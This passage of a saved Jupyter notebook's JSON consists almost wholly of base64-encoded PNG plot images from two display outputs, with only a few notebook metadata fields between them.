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", "text/plain": [ "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": "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